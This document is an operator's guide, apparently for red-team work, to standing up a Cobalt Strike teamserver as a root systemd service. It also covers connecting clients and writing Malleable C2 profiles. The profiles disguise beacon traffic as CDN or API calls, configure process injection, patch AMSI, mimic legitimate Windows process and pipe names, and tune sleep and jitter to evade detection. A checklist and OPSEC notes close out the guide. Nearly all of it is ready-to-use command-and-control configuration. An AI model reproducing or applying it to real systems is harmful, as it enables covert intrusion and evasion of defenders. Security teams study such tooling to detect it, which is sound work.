Cobalt Strike Server Setup

Complete setup for the Cobalt Strike teamserver, client connections, and running as a persistent service.


Teamserver Start

cd ~/cobaltstrike
sudo ./teamserver <ATTACKER_IP> <PASSWORD> c2-profiles/normal/webbug.profile
  • <ATTACKER_IP> — IP of the attack server
  • <PASSWORD> — shared password for client authentication
  • webbug.profile — Malleable C2 profile (customise traffic patterns)

Run in a tmux session to persist if SSH disconnects.


Running as a Service (systemd)

Create a service file:

sudo vim /etc/systemd/system/teamserver.service
[Unit]
Description=Cobalt Strike Team Server
After=network.target
Wants=network.target
StartLimitIntervalSec=0
 
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver <ATTACKER_IP> <PASSWORD> c2-profiles/normal/webbug.profile
 
[Install]
WantedBy=multi-user.target

Enable and start:

sudo systemctl daemon-reload
sudo systemctl start teamserver.service
sudo systemctl status teamserver.service
sudo systemctl enable teamserver.service

Client Installation

Linux

# Extract and update
tar zxvf cobaltstrike-dist-linux.tgz
cd /path/to/cobaltstrike
./update
 
# Copy client auth from server (must match or errors!)
scp -i id_rsa -r user@<TEAMSERVER_IP>:/cobaltstrike/client /cobaltstrike
 
# Start client
cd /client
./cobaltstrike

Windows

# Unzip to AV-excluded folder
.\update.bat

Download: https://download.cobaltstrike.com/download


Connecting to the Teamserver

Direct Connection

  1. Launch the CS client
  2. Enter teamserver IP, port (default 50050), username, and shared password
  3. Verify the server hash fingerprint and connect

SSH Reverse Tunnel

If the teamserver port is firewalled, tunnel through SSH:

ssh -L 50050:127.0.0.1:50050 ubuntu@<TEAMSERVER_IP> -i id_rsa

Then connect the client to 127.0.0.1:50050.


Malleable C2 Profiles

Cobalt Strike Malleable C2 profiles control how Beacon communicates — HTTP headers, URIs, body encoding, process injection behaviour, and post-exploitation OPSEC settings. A well-tuned profile is critical for evading network and host-based detection.

Specify on teamserver start:

sudo ./teamserver <IP> <PASSWORD> /path/to/profile.profile

Important

Test profiles with c2lint before production use:

./c2lint /path/to/profile.profile

Profile Structure

# Global options
set sleeptime "30000";        # ms between callbacks
set jitter "37";              # % randomisation of sleep
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...";
set host_stage "false";       # disable staging (stageless only)

# HTTPS certificate
https-certificate {
    set keystore "domain.store";
    set password "password";
}

# HTTP GET — beacon check-in (polling for tasks)
http-get { ... }

# HTTP POST — beacon sending data back (task output)
http-post { ... }

# Post-exploitation behaviour
post-ex { ... }

# Process injection
process-inject { ... }

# DNS beacon config
dns-beacon { ... }

HTTP-GET Block

Controls how Beacon polls for tasks.

http-get {
    set uri "/api/v1/updates /api/v1/status /cdn/content";
    # Multiple URIs — Beacon randomly picks one each callback

    client {
        header "Accept" "application/json";
        header "Host" "cdn.legit-domain.com";
        header "Connection" "close";

        metadata {
            # How the session metadata is transmitted
            base64url;
            prepend "session=";
            header "Cookie";
            # Result: Cookie: session=<base64_metadata>
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Server" "nginx";
        header "Cache-Control" "no-cache";

        output {
            base64;
            print;
            # Beacon tasks returned in base64-encoded body
        }
    }
}

HTTP-POST Block

Controls how Beacon sends task output.

http-post {
    set uri "/api/v1/submit /api/v1/telemetry";
    set verb "POST";

    client {
        header "Content-Type" "application/json";

        id {
            # How the beacon ID is transmitted
            base64url;
            parameter "id";
            # Result: /api/v1/submit?id=<base64_id>
        }

        output {
            base64;
            print;
            # Task output in POST body
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            print;
        }
    }
}

Data Transforms

Transforms encode/decode data in transit. Applied in order.

TransformDescription
base64Base64 encode
base64urlURL-safe base64
maskXOR with random key
netbiosNetBIOS encode (lowercase)
netbiosuNetBIOS encode (uppercase)
prepend "str"Prepend a string
append "str"Append a string
header "Name"Store in an HTTP header
parameter "name"Store in a URL parameter
printSend as body content
uri-appendAppend to URI

Sleep & Jitter

set sleeptime "60000";    # 60 seconds between callbacks
set jitter "50";          # ±50% randomisation (30-90 seconds)
Engagement PhaseSleepJitterNotes
Initial access60-120s30-50%Slow, blend in
Active post-ex5-15s20-30%Responsive but not instant
Long-term persistence300-3600s40-60%Low and slow
Interactive (short tasks)1-3s10%Fast, accept the risk

Process Injection Block

Controls how inject, shinject, and spawn operate.

process-inject {
    set min_alloc "16384";         # minimum allocation size
    set startrwx "false";         # don't start with RWX (use RW then RX)
    set userwx "false";           # don't use RWX for final permissions

    transform-x86 {
        prepend "\x90\x90\x90";   # NOP sled before shellcode
    }

    transform-x64 {
        prepend "\x90\x90\x90";
    }

    # Injection technique — choose one per block
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart";
        CreateRemoteThread "kernel32.dll!LoadLibraryA";
        NtQueueApcThread-s;       # early bird injection (safer)
        RtlCreateUserThread;
    }
}

Important

Set startrwx and userwx to false — RWX memory is a high-fidelity detection indicator.


Post-Exploitation Block

OPSEC settings for fork-and-run commands (execute-assembly, powerpick, etc.).

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";

    set obfuscate "true";         # obfuscate beacon in memory
    set smartinject "true";       # use embedded function pointers
    set amsi_disable "true";      # patch AMSI before execute-assembly

    set pipename "Winsock2\\CatalogChangeListener-###-0";
    # Named pipe pattern — ### is replaced with random hex
    # Match real Windows pipe patterns
}

HTTPS Certificate

Use a valid certificate to avoid TLS inspection alerts.

https-certificate {
    # Option 1: Java keystore (use keytool to import a real cert)
    set keystore "domain.store";
    set password "changeit";

    # Option 2: Let CS generate a self-signed cert (not recommended)
    set CN "cdn.example.com";
    set O "Example Inc";
    set OU "CDN";
    set validity "365";
}
# Import a Let's Encrypt certificate into Java keystore
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out cert.p12 -name "cdn.example.com" -passout pass:changeit
keytool -importkeystore -deststorepass changeit -destkeypass changeit -destkeystore domain.store -srckeystore cert.p12 -srcstoretype PKCS12 -srcstorepass changeit -alias "cdn.example.com"

DNS Beacon Config

dns-beacon {
    set dns_idle "8.8.8.8";       # IP to return when no tasks
    set dns_sleep "0";            # sleep between DNS requests
    set maxdns "245";             # max hostname length

    # Mode: dns = A records, dns6 = AAAA, dns-txt = TXT (fastest)
    set beacon "a].,b].,c].";     # subdomains for A record beacons
}

ProfileDescription
jquery-c2Mimics jQuery CDN traffic
amazonMimics Amazon browsing
microsoft-updateMimics Windows Update

Warning

Public profiles are signatured by defenders. Use them as a starting template, then customise URIs, headers, and pipe names.


Validation Checklist

Before deploying:

  • c2lint passes with no errors
  • host_stage is false (prevent payload download by scanners)
  • startrwx and userwx are false
  • spawnto set to a legitimate process (not rundll32.exe)
  • amsi_disable is true
  • HTTPS certificate is valid (not self-signed)
  • User-agent matches the target environment’s browser
  • Sleep/jitter appropriate for the engagement phase
  • Pipe names don’t match default CS patterns

Note

OPSEC:

  • Default CS profiles are heavily signatured — always use a custom profile
  • JA3/JA3S TLS fingerprints can identify CS traffic regardless of profile — use domain fronting or a CDN
  • The host_stage option prevents anyone from downloading Beacon by requesting the URI — always disable for production ops
  • Named pipe patterns are detectable — match legitimate Windows pipe naming conventions

See also: a. Infrastructure Hardening for reverse proxy and domain fronting configuration.